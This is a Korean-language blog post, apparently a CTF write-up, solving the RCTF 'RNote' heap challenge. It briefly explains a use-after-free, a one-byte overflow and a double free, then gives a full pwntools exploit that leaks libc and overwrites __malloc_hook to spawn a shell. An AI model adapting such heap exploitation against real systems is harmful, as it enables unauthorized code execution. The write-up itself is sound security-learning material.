Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

RCTF RNote 본문

Security/Pwnable

RCTF RNote

Cdor1 2017. 5. 26. 06:53

use after free, double free bug를 이용한 문제이다.


malloc(256), malloc(256), free(0), malloc(256)을 이용해 

unsorted bin fd, bk에 적힌 main_arena+88 주소를 leak하고 libc주소를 알아냈다.


title, content를 add메뉴에서 title과 content를 입력받는데

매우 취약한 부분이 title을 입력받는 부분과 content의 포인터를 입력받는 부분의 주소가 같다.

ex) title이 0x1f200이면 pointer는 0x1f210


그런데 title을 입력받는 부분에서 1byte overflow가 생겨 pointer의 최하위 1바이트를 수정할 수 있다.

이를 이용해 free(1), free(2), free(1)으로 free chunk list 최상위 청크를 수정하면서 double free bug를 트리거했다.

malloc_hook을 oneshot으로 덮어 get shell


from pwn import *
s = process('./Rnote')

def add(size, title, content):
	print s.recvuntil('Your choice: ')
	s.sendline('1')
	print s.recvuntil('Please input the note size: ')
	s.sendline(str(size))
	print s.recvuntil('Please input the title: ')
	s.sendline(title)
	print s.recvuntil('Please input the content: ')
	s.sendline(content)

def delete(index):
	print s.recvuntil('Your choice: ')
	s.sendline('2')
	print s.recvuntil('Which Note do you want to delete: ')
	s.sendline(str(index))

def show(index):
	print s.recvuntil('Your choice: ')
	s.sendline('3')
	print s.recvuntil('Which Note do you want to show: ')
	s.sendline(str(index))

add(256, 'aaaa', 'aaaa') #0
add(256, 'bbbb', 'bbbb') #1()
delete(0)
add(256, '', 'a'*7)
show(0)

print s.recvuntil('note content: aaaaaaa\n')
libc_leak = u64(s.recv(6).ljust(8, '\x00'))
libc_base = libc_leak - 3939160
malloc_hook = libc_base + 3939056
oneshot = libc_base + 0x45526
log.info('libc leak : ' + hex(libc_leak))
log.info('libc base : ' + hex(libc_base))
log.info('malloc_hook : ' + hex(malloc_hook))
log.info('oneshot : ' + hex(oneshot))

add(32, 'cccc', 'cccc') #2
add(32, 'dddd', 'dddd') #3
add(32, 'e'*16 + '\x30', 'eeee')
delete(2)
delete(3)
delete(4)
add(32, 'cccc', p64(malloc_hook - 0x23))
add(50, 'dddd', 'a'*19 + p64(oneshot))
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

pwnable.tw seethefile  (0) 2017.07.21
IDEA  (0) 2017.06.08
Codegate 2017 building_owner  (0) 2017.05.24
NOE - Pwnable problem scenario  (0) 2017.05.23
C++ Exploitation  (0) 2017.05.19
Comments